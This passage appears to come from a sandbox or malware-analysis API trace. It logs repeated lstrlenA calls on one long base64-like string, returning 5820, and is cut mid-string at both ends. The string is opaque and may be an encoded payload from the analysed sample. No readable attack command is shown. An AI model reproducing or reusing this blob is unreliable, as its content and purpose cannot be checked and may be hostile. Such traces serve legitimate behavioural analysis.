HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.630] lstrlenA (lpString="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") returned 5820
	[0084.631] lstrlenA (lpString="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") returned 5820
	[0084.631] lstrlenA (lpString="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